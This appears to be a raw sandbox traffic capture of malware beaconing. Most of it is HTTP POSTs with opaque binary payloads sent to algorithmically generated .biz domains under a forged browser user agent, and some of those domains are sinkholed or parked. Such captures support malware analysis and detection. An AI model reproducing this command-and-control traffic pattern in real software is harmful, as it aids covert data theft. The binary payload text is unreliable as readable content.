lÉ¦u`¡<¼º4§kNÐ%Âhðÿxû·G¹|7OÉÇ$Jm(ÜPá:+öJâ×uCN¿Ãëç$Y³ªûÞ¬RãÍ;ûa1½njøcä$õØ7V «¦äWçÊhDMÊ/'å<ÎîÂ=»nm·2+,GØ^ ¸®qµÎbKéuÚ¿ÿÙÌâ«&¸=Ë²h[ó[[50ä[I=D@éèÂ¥üÁ<Í;'ìùmél>G¹àûÔ§H¨ÌIÀk+15\9ÞÈ×z +Ñp=Xb7.£½êû¸+65=ÉÑz¸uØu\lbÈZ!Ó¤Û8|ýÓe"wJ0¼yPvÒ1¬Àsd¾¦ø@æèQF`ÍUi5aë÷Ïú£ÝõTòg,ïq¥6]Öaw&ëÆ.0ØlCÏÎC/XXEadcCMy6"f´Àq¤t"Cøú´xg=oÍ_»'aY¥5" HTTP/1.1 200 OK Server: openresty Date: Wed, 30 Sep 2026 16:36:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store, max-age=0 Accept-CH: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-WoW64 Permissions-Policy: ch-ua=(self "https://*.parklogic.com") ch-ua-arch=(self "https://*.parklogic.com") ch-ua-bitness=(self "https://*.parklogic.com") ch-ua-full-version=(self "https://*.parklogic.com") ch-ua-full-version-list=(self "https://*.parklogic.com") ch-ua-mobile=(self "https://*.parklogic.com") ch-ua-model=(self "https://*.parklogic.com") ch-ua-platform=(self "https://*.parklogic.com") ch-ua-platform-version=(self "https://*.parklogic.com") ch-ua-wow64=(self "https://*.parklogic.com") with response body ==>3C21646F63747970652068746D6C3E3C68746D6C206C616E673D22656E223E3C686561643E3C6D65746120636861727365743D227574662D38223E3C6D657461....... "POST /winxnjxhtmxihskw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" with payload::==> ")_1RYqKIPM~@·LíÕN"@×oÅ`µ¡Äàü+q®0Wïj$âj1L'ab¯`¼sYã¼Çµ»G Êzû,"é|d@Rb¢À§ë:¾ÔgÎ$yu¬oÉÞ>ÿÓîìÒNºáã«9±uZ×wAPTÕOÅ[mû(ÖÄçäåÿVLªã6ÛOð»ÒÍêF÷ÂÌ¸_ÝËU}6/Q`9T×ôbmK¯×K?ùQ¬C½Í©]xÃXè½>¤¬råSbM»PBXDó]Ö¼9WÆm«Hòª¥bBiI0»¿ØºTÝÞ^Âî³îÚØ5ìÏÍ#÷¯&^±íà¬Öu¹¨(ÿ{ÝãØûÀMkggÓßJún"½>Þ}k2¾Î¼Ö³áÁëîfÔLù^t~XC÷Ê>Î>6qËdÇöö"%/ËêÝºÓAûSÖ*þaº0n9"øÞt<%°õcÚ¼A®´mìå'38_>/Ì÷mªCÆøØ<&¾·UÓaD`tY`TÞsÔ@¥ò¡mÒm´ÄÓÉ§zxÒUOñp&;:ì?|ÆçÆ.@B¨GòöHùnÊ3÷+0væk" HTTP/1.1 200 OK Server: nginx Date: Wed, 30 Sep 2026 16:36:34 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body, "POST /tqya HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: zlenh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "YÜ«¦-$ÌNõ2+À0-È±ÅÊlRñ×´ª4éH<)`pü/Ò©Ó¿EZÿý[äïh¹w¸(®xMºç½£úmýF7!eB%¼=Ä¬d Ý\*¥ÔC¢ÁP}"íPGr©<Ãûjº2å%xì¾¥À]áåÝSùú_âê4¦/wãeÁ¯-Üª¡M®æfË±Ã*8T'<<'u¦l§a6¥¸z%¾hî?ÛBäñgMSÁ=jÌ7=å¡P%¶)(ÇÒö2Q\ß,crþw¢:e"ÿ·ªéç²¶`ÕEøwé£`Ä«W7Lÿ¸,´vkOß0_«Ð¯Ð¥ilÅQÉ)r]ÉãæYL>Æ!y¦¾F~ubKÿIîêÇü<±>Jsë§&µ¾ö1Ä>V'F`wEÛ¢YFÌø¢zXY½ûÓ *ÛAÛÆäQl9äÐàt]+Î¶ávÓX;vp×»ÿæfÛJ¨³á°v(lc\bÜÃ¤¨ö´ºì EÜ+MzÝ½ù¢0¼¤Ùx½¤ E>çOý´»c¾¡ó5.Yó#_*ÃxCÇ@¸¶³þ/Wªõ®,]×s9á¿Y"&Í¼£VÚxèHcSö:k;ÐHáÔQI@ëún\?aÀíìEßBóþé¼àÏÇ×K:4^!ð±ÌÎË0Óì¼}1kCiÛæ×|tÐ>ñè@ý«´îBÄàûmÊòß@SCÙPÒ,ìhØý RSñIP³"¿q²ÿM¡I¢ä¶aßhÁA«uq\<Ô¸`é NÅU*Ò®<ïÏ4@îD;§Éçg8©Ó.Î×$É3áãã£Ï¦[ÈÜþtRÂ>Ý¹?kkÏª ù6=ðqd¬ßxRò¾®5.Y¹ý<Æ^f¾ªyB¿¨p¼"ëyÀ87©þ"ä¼ªP!D¾Ò³#<{:Ô" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Sep 2026 16:36:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive with no response body, "POST /y HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" with payload::==> "»$áð_ë«nP*l¾LIÀá@äuT×õ-OaÛE`fÏî¾AìÎµ¿ª±ÿóWrY&áûþ'gl3Ü((ÝÆ$ÄQ[÷¤´'Ày,DåÝÇ¢ÜÜ÷ïP+6$ÉdÛ#ÿHLeÞÄ d-ýs`=#}_}£GxT#'/F#GôOà§÷·HÈÄáìÃ¶# %¿bMÏY13Ê· °oKqàroéèlº'â?Í<Æ|'Çe-SeÿW`kú^ßìÃHÁÿ×ÈûíÚ%h©\wkàCBçkypÉò¹¯S¿Ø÷t/Ì[s,ÜíXÞ´».7ÈEXãÄË¦VW@ äÌj¾»'ïw}ð¹V¥K_êz¥$ä{Äøu@)jÌ´l±JXñÂÑ !-èFjçñà¸¨(íeÁ°üRn<ÁÝ°=]ß++}ÜÚ"þnlC,D¤¾^æá¸ËuDLàJþZ÷¯î=Z»+WRµ_Õm{ÃýnÆ¸þ¬[;YFþ^}&O?[ë÷Z©ýZóÎUkETß5Ôe".è½keuêÓgÒ[y1oÍbÆ×én©ï¸ÕW÷!Ú¹,øóÚ§\®©p?æÌnUZòºÊ ÇE~òákÛÌcï2³*s-RzVµÃ×y§À*k1£T^óAóö3:80×ÇaYlZ'Õú¦(hÀJ)rî\CÍÓZÌ±Ø®È¹òG´3©ºòG%oP>UI¬¿¾¨GÍÉ3zámÆº¦èÚ½ê;¼ÍT9Á@©¿ªJ" HTTP/1.1 200 OK Server: nginx Date: Wed, 30 Sep 2026 16:36:34 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body, "POST /pplvectcusjq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "ïêdåW3zN§Ô·!YlÙÂ105ÿ-Ëé¢sÈodÌ½4Ì ãet£³òÏØúPÖØÐGZ7Ç.éëY.#N¶ý00X¼ó©zÒò8C±¯m6"4@wLpcõÛï´Lm0¿Ú5X(¤úV"ñi¥Çö¶ó0×âÀ÷2õïI\Eb|vtéDo&I¤6ãÄ{{8ój®UèèQ~Å=%Aj1¢èoã/uvþ+oúÑëKÒë"nf¼ÙùxëqåÜtºoæo|ÎnéÍ©º~ÿ« eà3[ñÌvGáÊÓ/;ÍÔaÐõêÐé ÑA£Ol=FMZ1/ó±öV}D]wæ&Aì3(óNYüºÝPm1OÈá¢s´Ñ\]3Ì0+û*zµ$Ç´"âIÌgB4aù³Âo»Ei-£¼$+>ÚÉr)%Ûøñ0!£êÞå§VmK'LB¶1&c^:¯ôÁrWôÓ ?Bë9+¬Ö8e!ëÏ©RÖk(ÉÎj½ÿ½9¨ÅS¥lÂE³¤Ní|¨¹ì?y Ñ(w~Øráøo£ó×\¿Çî²i%}àªª/ì4bc¦àÝ8[IW>,ÒA~0-«uaSêyg. "ìmÙïÎûPÅ\ÌãTß6«ðöQ©`øå¬)öWÌL2Ú^Â)·-îÚá}ï:=*ê.&ª¦¾oìcBûOêlü>ºl@ÌÀ,ri%W^=WµnÏoöÁEv4®9,^åíÖÃ¨ø®LÂ6;R¡£É:>¢I;-ZsÕN½Wþì¿+ý¯±&ÃdÜTýÃàLÿÈ¯ W¸Á°îÂ½Òè¸ü~ÚÊUk+Íéï¶·¢/}/.çI³}·'¾rC§²B Dfí$ qJÈìO¦«9ívm¸ÌØ½[Ã¸ºju">ÖÌ'E¼è´s¦þïz%ÊTÓK½fÕ:t]í´·kôTêTGkÄÝ©rÿÂPày4öûb±D©n?ûO¡HÜ·Q%©-èùD©HT½;èK÷O@QÑôÛðºðz>Ü¼~\h?ºB¥yeà^úe2ìµØXa]>6ô9¯:ÑÄý3hXöÿsjy{8ììÁdñGÊn»³¹ìð¿oB¹èJr{[»t¨vh0ô;m8sÎUR5%ödë£däï°²¾Öx~wÈ¯UÅûhØ;nóÄ%wKÏØaKJNË«ÓÐò¢Æ1àè¬cT8ü"PëN=Ìb>°ª3z ÑR4Ã§ô¬ê·ñâ «ë`gâoÄ-qÌãý_ßQ(ÍD!¾°êr¼Û9íî|[þF!¼Åø¼+Ý$<÷&@ocGäýgÃÊÈñum®íáÝ«RÌC6ÌlÀgs«SùÓiÛqZï"®ÕÅ/eðÿÃù@%³! ¶RòÎ.(ÅÅ³:ÓávXÃyJ*¦Y].ÖX&Ã*æðeîáþ(x)S¼µ#|5þÊXã§OçnG¶Ç<ý. 3¹®2V±V°mÓg§° Kuw}9GA7zûëÞ¡Wå_á"îéI±/1°[&2Àìîve" HTTP/1.1 200 OK Server: openresty Date: Wed, 30 Sep 2026 16:36:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store, max-age=0 Accept-CH: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-WoW64 Permissions-Policy: ch-ua=(self "https://*.parklogic.com"), ch-ua-arch=(self "https://*.parklogic.com"), ch-ua-bitness=(self "https://*.parklogic.com"), ch-ua-full-version=(self "https://*.parklogic.com"), ch-ua-full-version-list=(self "https://*.parklogic.com"), ch-ua-mobile=(self "https://*.parklogic.com"), ch-ua-model=(self "https://*.parklogic.com"), ch-ua-platform=(self "https://*.parklogic.com"), ch-ua-platform-version=(self "https://*.parklogic.com"), ch-ua-wow64=(self "https://*.parklogic.com") with response body ==>3C21646F63747970652068746D6C3E3C68746D6C206C616E673D22656E223E3C686561643E3C6D65746120636861727365743D227574662D38223E3C6D657461......., "POST /au HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: anpmnmxo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "é=na¨¡¶Nt1²h±oGv¡ÿÖOÆëY>¦WÂ#J¹°³çÄ2»ÌíUVÉîf¢t4®Å®ó[×pÑÁþÄtt¦÷ÕDz;yæc.6^!Ä£c `ÏS£¤µÄÔ>ØIË;Ë·OéSÑ7Ø§Ny]¿wþ&wJBÿßEûFJyV*BÔ|gù½dÌkÉÏÊÄ»ºárö_A8ï7Y¿<éªÊêdEÝ]²DËÖ;ueÑÂ¹5)Q":ëÙtÅ®Ëôä3ØÎtÙÒßÕ¹ÏÐvi.aÖñq!Z·J¦ó'V]¼µògB2¼×Ô;*HÓj{v*À0 b±¢aMs@:)#[þ4xåwÛbc),¿LÁÛ·lé×WÈJ¼$!K"1&×Mm93k¯_åZjJÎõ«ÍáV_¨DquN"lµÂáCãÓWÞ)H[³wÎÓ5$Å:Ö&lû{C°öÏùµèQ0EÅÈö$/vÕt×ÈnúËµög¨/³ßrMµ°Og*ý>àË}$DepjkÛÕYIg¿~DÝåÚzRÿÃ²¥ªy9g7²*|TÏÚÏo§®Í7YÎ0÷µÔ¦÷XÆ" HTTP/1.1 302 Found Date: Wed 30 Sep 2026 16:36:35 GMT Content-Length: 0 Connection: keep-alive Location: http://www.anpmnmxo.biz/au X-Served-By: Namecheap URL Forward Server: namecheap-nginx with no response body "POST /yymyxonoujelnhpb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: zlenh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" with payload::==> "E×AëÁïÃP¶å_÷T£ÄJßÊÓXñ8{ß§ÍOYPIÌ©4q^ªN½ävh*¾Wí^=ÐôTzúRT¿iìÜ±MlõTï^õC]¼,-ò2ýIYÛXC}Ú"2É^È$¤4F? ý6FtØCýX¸*X#]ßnÛãöß> ¾Üÿ/`²ÙcÖÒÈsÒv$süÒ«Ù{ªSüpV1CP±ñq³.H+îØE 4¤@¥A¡Çï¹tRÿ®ÊÂV*b÷ ÔÙ\Jh_Õ8C® ÂoA°ßóË]»>£Ô±ï%jîPOQ¬àîÖ\ñO-_JÓ)Éí jËë0J«ñ<»ÕÏh³x`Ó.eü%¶èø8óeN²ðYAëoùñ~Bö0ìYÕ(\l|7[U³´¬âµ¹ÉÁxï"Y`çbPûÒëb×º/³ÝNñ?üêµ\l}Íßê½EEÔ=P`ahñGü# ³Yrµð\q B>¢\¾/å:ûT?»yaZê»¯ðqâ±WÏüë·q$®åD¡Õ[ÄÚÉ{¿ý\ÅY}féÃ{¸ûTÙõ:NFP(+úsRdx_¥ÂcGyÑì§¥ÂmUïÃøîU"àÛÿq£´ÐZHRÿÀÂAÇ>]^Ï" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Sep 2026 16:36:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive with no response body, "POST /ytenqmpsyaxmintj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: anpmnmxo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "ßùµXÞ+Njnr¥PæÓì×e×àëÂK¿ù÷ç-ýÈa:ïïARiá|AmnÃá:ðÜ(ý{q¡!×"ÇþU9YîÛø£Ýµ§¿'}yõpe®C¿lo5hÎª:7§|rJ ¡Ó°mOÊ4Øx>×ïõÖqð»øïo¹TÕpF%¤wYÛtE¦åýkmô8-mÌçÅË¥þ<[s?CCQ(5G´º"Ö¥dµçæ?÷ïÝ.ÇxPîP "Ýß|P#UÅh:öôþHâÇò ãFO ±7E£r&iïrz[é{ûlIßOT4Û¬Ñÿ@|,výño¸8ÌeE-ãàçÊä¥æè¡{/Ô?ûo9ÐÁ"½ÆÑ;¼¾ºgâ>¡2.éJÆTå·¢:Ôtªn& ½g¥Gihå·nQÎbâ\Ø´iÏ²,_@KÑÅ©^lµë£~µW1Ä±&.=QúZÄb^Â·QÆâùÔ³G$é¹¢|d-O9ç.~Åä\í~;ÏãqÜqËoMayJ]²Ø>s·±¶ÃÔ^;ªjªnÒåýôÊ×·"Ô§oúåH«eØ½0bNòH2üR¯h-/ÄôÛ1ù-¿è¹Ãê^îä¾þlÌ4^ã®vùò~"KÞÎ¦§|túË7æí±íï¼ª&Å¹[üûâ¸í»±ºA ÎkÓ +Ñà¤r9iõßñÚ5´>/ÊB" HTTP/1.1 302 Found Date: Wed, 30 Sep 2026 16:36:36 GMT Content-Length: 0 Connection: keep-alive Location: http://www.anpmnmxo.biz/ytenqmpsyaxmintj X-Served-By: Namecheap URL Forward Server: namecheap-nginx with no response body, "POST /iydmmkmewuttg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" with payload::==> "@A½ÿ¥çPËîe£à5]x1!îV¼ê(rªäE9[Í»ù)çë{wbêÊo*ZÉBÀÁ5òdôõ¦¹®ïì·§¾ãÇÀ×Q8g'ºõ¤Äç4±µ|P{5^¨ã.0ÿå%yRÃ±ì ¬ËàL]ÒW¼FC:²Ù¨ø·ûº'Z´¤b1füDEË@t®)f´¯ÊCZ4z¼îIsÇ0qÏ·Øò7ûHMñ`N°NóUÍ¯¦2&)Ý¦Ô°J&z-xW^Çp3·D>¹ü lg®o ÊúPEº&vbù39T>®ÓWU¹à\«[Oe7ÍðÑcÿ%ÙwStpFðO×ý\4°Ghxog-Ú.3Øõ[Tj»ÉÙOè>"ô"mHicÁ'#º)¶ÐY;£Ù"Â@/¼öÎå7DE((¾>È»¹ËXü$pªTÀNÃÑâkIurkzåþ¨JmX¨°§µd À¾;^ÖPüu1&cK'ñ¦;NDßT|i^¾ÁM¾Õu¶Z$Îd~$PßÙÆMbúQö«8¹ì¤ñEÛv8Å&QfRã©ÍöàO{$ÓÖÜí~=Ï¼ÑVE[÷ëWdØå×a)ÀÝ_PµJÈK`×ïAÚ:p»ü1Ù@2T|Ô<ï¤øt¬Pé¨vØÙßAj¾À= õYeÛ0]:·áÇQáñ®(P]Ò/uÃ¦÷#ñhÇzZç>{j6«WãÓ¥^`:ìFîí4z>]Ì5²Ö³!«ªðQÅôÊ?ÜíÆ^-ò×CÊjU3àDC'Ñ»1Üò O£ÕPV»ddÉUcsbUÍH¡@¢óNI^Å©$CÀ¤nyÉX:vq)aÌÇ´ÈoK½òªp9ßâ¾NQ§cq+ôFwÁRÕt¬N+^)z'E9=jFGÉFÞBêMÎH$eãUÙrÌ5¾³{-ÀfooB" HTTP/1.1 200 OK Server: nginx Date: Wed, 30 Sep 2026 16:36:36 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body, "POST /alkurfht HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "¤m¸À0faNéEü^°~QÜÖê2Ú:F]:GÔ ìjÀÑÏ«/ÛcR6ïAJI©ñõ%*N®g}»BöÄÑÏUû©a!Ô"º2±¢Æ®41Jèk2ÝE/×þSòö1)Ë§gO#ëåCê96|ø9*÷ÏV8{âèb¿ÞÑ-ï>Ì¥Árwý4üz·ñ8kÔN8~e?kHAÛGå~Ì'Zk=^«Ïe0¨ÀwQ¼b$"Ãf³¼Nu½ª^D:ÞT¨8nNK±¡¼üU^×6Xy/',øðåÛ{«¹&Mú!"ÃÊ^Ãk6WRÊ¤¸5Ñ¿Ý]}#/-föx.0¥;ôHSß*Ô¦·üKðøéJ&E¦\MÉoÿ0v ö(!¿Ø¯çZ°-[Fo°7¿ü¨é½tKÒÂuÊ-MM«q*üõÑ¡|d&Ø[¨Éî/,NEZùFE/uøz:È¯©@¡HïåvÑ)ä#r]¿kØQ¡\âÈ«:j -²"Ö¢R1PòñW0ëÞ®&+Q%7Péµ®D°[ï7¦3¬ë&ÖK§»|UâYÉ¥q²?ÛE3¸ÀÓ|ëDÿ1£Ô¸Óß]k\æÎ)ÌxiÝ:³©IÀA/ü<Ù¦~§Reô©g§*ûæ,GV3¶-¥ft·ÑAeìØsªa ÷"ëXÐ·²34åýîëpÌµÚwQîGLBÀ!ù-ûRq¡´÷ýy%ìÄ§'~¶#4[ÍiË@ä#qòyæz|KØ»â+Ø°%=;çÌ%;DÜÝD¸p£ÍXÇõôua6/*°¹Á:Æëhoëp»T$ÒOnÆVÞ1¬ÚøÖqnû¦pe"ÍîÑ^`HÔ[;1å±ÝÕ>]1ÒIZGþôô<ÄøiÀkÒª5ºsÁ5ªèÚÔÚ(äâYÈ§Ézs½gáyEtv´1|téõb3¡EítÅXeøÀÔ" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 30 Sep 2026 16:36:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive X-Sinkhole: malware with no response body, "POST /nnnbwobrm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: anpmnmxo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" with payload::==> "×8Ò"@PÙ¥¶,?OÀ=úÐ_}7ÁÑsâÖ#Ó2?¬Ør§fóóVFe`é' ª¥{6S¥ôB& ÂW#ÁUÝâb'WnµâKêìZäíÿ"©2-óÚo@lÞM*´W#Ôù¾äÉÇÿÙR¬tV°'óV95}æïõR°¹&a dvô4#0ØCþM°ÈÐòY}Z+Ä(¥;>þ÷ÜòÒß6TQTL4¦Â¡ôhnæØªH>)$ß]·D¦QïNÇ8õ%TPã¥:eÛJ ¸ÿ¨Æ»HÚ0âã©qu/{$w!ý9®L0íÖg«jk=^Îh1Ð!HÌ) Ú¸zéEhííSnÚ²10§S¤3D7:Áåt6Öúò:¨õXEÅÅñÜSêgcûOðßÅ"Ô·¶þSÌÅ6s´©*ÀÏó) h²,UÎÇÿ¼ÿNÎ¾gËÞaw"yòü`ØÄÍKá&å~U(AkX0Ö /ý]<Ï¡éÕëw¤s:}|ùt@aíÙ?ú¤ª0?OKp^é£Wr«èËóN=Âºxa_t¤LõlGMJéä¯Bäþ¼ÞxÖNô3ÀèóÏîtSwêþ_J>»`ç?ÞK/6¡dì1¤e"äNU'ºè[êó;21ß¿¤.s£çà AElí|"YæJ ÈáÃ*Ê bÂtÜãx4M°@ÆSáõRNm0xiy|í»EÞ±¤®ùÔ7pÁüîI7í6\¢ªÞ¿¦xqÃçE¡'¾·sð><ÆFµã76ù©Ú ¢0JãUoÈvôúéÖk" HTTP/1.1 302 Found Date: Wed 30 Sep 2026 16:36:37 GMT Content-Length: 0 Connection: keep-alive Location: http://www.anpmnmxo.biz/nnnbwobrm X-Served-By: Namecheap URL Forward Server: namecheap-nginx with no response body "POST /gteg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "hàèq(¡ªN"Y×M3/¥<ïBC]:1kK2kk'{D?,ÆÚsJ¤MF¨[xny6óÕFY6jÞoßYôF>ÇÃn8Wüý~»÷5|Áª¾®¯7GÅ½'4¤ÖRÀRG·apÃ¢é$W=Vt°cÞ³®2{:ç ¤¬)*Æñ¬`ª§[iË½ÝlÞy¤i+lâh#R`§Vq[1>ç§'drIDäeÇ¨: o9¿ âæi±×1]?%úÐàS«¼ÒÝ\;Ñäª¥ølU{.B¶úQ¡æ#Òáäx¦sÛ{Õ]ÀÝ±K¿¥ó&mÀ1±äÇùØÏðNêñÈ(·"ébZ·UdL×ê_%Û½ uéÖÙëuÂWÓðö¤¡}6)5¢®R~[JÕùìX^Dà1Ñú¥ðT6ÔÞ´\Ë:AìùÿÁâÁ×gwi)wÍù´é@-0Þ¡òA1yxÿ";M6GÀ§WU"±Ë±îwü_ÐÀúTkªÄÞóry-õ9xmë'äzxÉÐT¾¤Jý-lãjê\ÕÿI$ýïÃ4÷:RâRE×Xððè#ÿ`sÛÉ£Á¾?o½çÁ$Î°él0YYC÷lxúÜ.:à^ñÁe¦b¸«",îí¸uÅ¼U§Äáb¼ÄªSýÅSùü`þZjí)n©&ÚºQ#ÿR[F[tHíà&0SßTäS©%vyO÷³ÅDI(qù1/«Ê.C/dL4ÞV·zå6Ñ^ï!:s@õh°{B"¾ÅdÌL:SÜ¡Dí²\ «.Î8ºuÕoôFºmp·ÒÜ*jOlA¾â%åìÉÎLÉÊ¿S:bMÅd¨ùÇ)ÒÅ8Õ`½z>9×{¶äy¬³dîM6æ9íÀÕ&é2Õe¡ÎÑ'ÑðêóÊí[iöºNeji" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 30 Sep 2026 16:36:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive X-Sinkhole: malware with no response body, "POST /hqfyx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: anpmnmxo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" with payload::==> "dK¡/Çg¼ÎP¡[ùôz¤ër¢Y¦cDcEFàâí¾dD#÷Cq®^+õ.GõåçÞUñD2Ô1d°%õúpÀî[ZR F¯=1Dx*¥üÃàR¿zÑ®ÇBå>·Ñ®3À¬,|ºÅ£19¦Ïb²ÉÝÖs«Ê¡j´UñvÒ2q1´õLîj¥Ù°£2?Ër×YC?fD>¦²ËþÓeô*aìÄqÕßw °ÛÆ¤R¸Üí¨ìçù&ã¡ï,/úù\Â½õ<óô£6¬õ+,#nÊs1ÅëâA:wLG´YW&äçâòä \@×ùB#gTA°Y²"ÎþU)a*ÍÆ·¦PfÏm¸ÞI¾#ªe9Iq§ÓÐeY*t©¶ ´ï?)V6L.ôó%ÃA0a`KÚH©B@ò~Ìäú3Åà4à|gP%i¼5«æK¹_óm®x§q=9dqãÃ£òuäz>ÃwDí-¾à$Tô4pY¤>Úw7©.ÜòØBñxd` <Ûk7S!Vá{QXí¦"î}³uN;NË6Xkú¦(²×²¿CG®"ÓéG²¼-~PÍîyW*ÒKø;MYy"n¨w<îp%;¯VíGØÀúNnøBÙOßF4ùéëgÿm;s.ò¶û¿þÆÇ%jô!GVÐQÔd" HTTP/1.1 302 Found Date: Wed, 30 Sep 2026 16:36:37 GMT Content-Length: 0 Connection: keep-alive Location: http://www.anpmnmxo.biz/hqfyx X-Served-By: Namecheap URL Forward Server: namecheap-nginx with no response body, "POST /yycrpacmy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xlfhhhm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "ù!î)@óN;ÿ*ú²Ã¼á{äÔÂÉSO\äP9æFÚÜÑìëóÒÏb(£]¦F¿ðÒAZ·@ÿÿ¡HUîJzñ*7ô¤-þZó÷Hô^Ü×t¼Í'zDm·ÌGñPNt¼Dí©fz.äHÅ§ÏÏfÅ&mvã'mÕW7 6ÜÔ¨d"!+."@iÍ¥¯8[I¡îDâJf±¦§þô||<á´ë¼|ÆUYi¶\_Æ³oËkD@s~î¹¸ø)!ýæOÎ½[fnrÒàÝDÂsEá?@|q^x²ª¨÷»íñù``gãu{ÞVu'×P2cÉª³÷:Ú>Ø2¹ådÈ¬®DÞÖ®ûÚÒJ 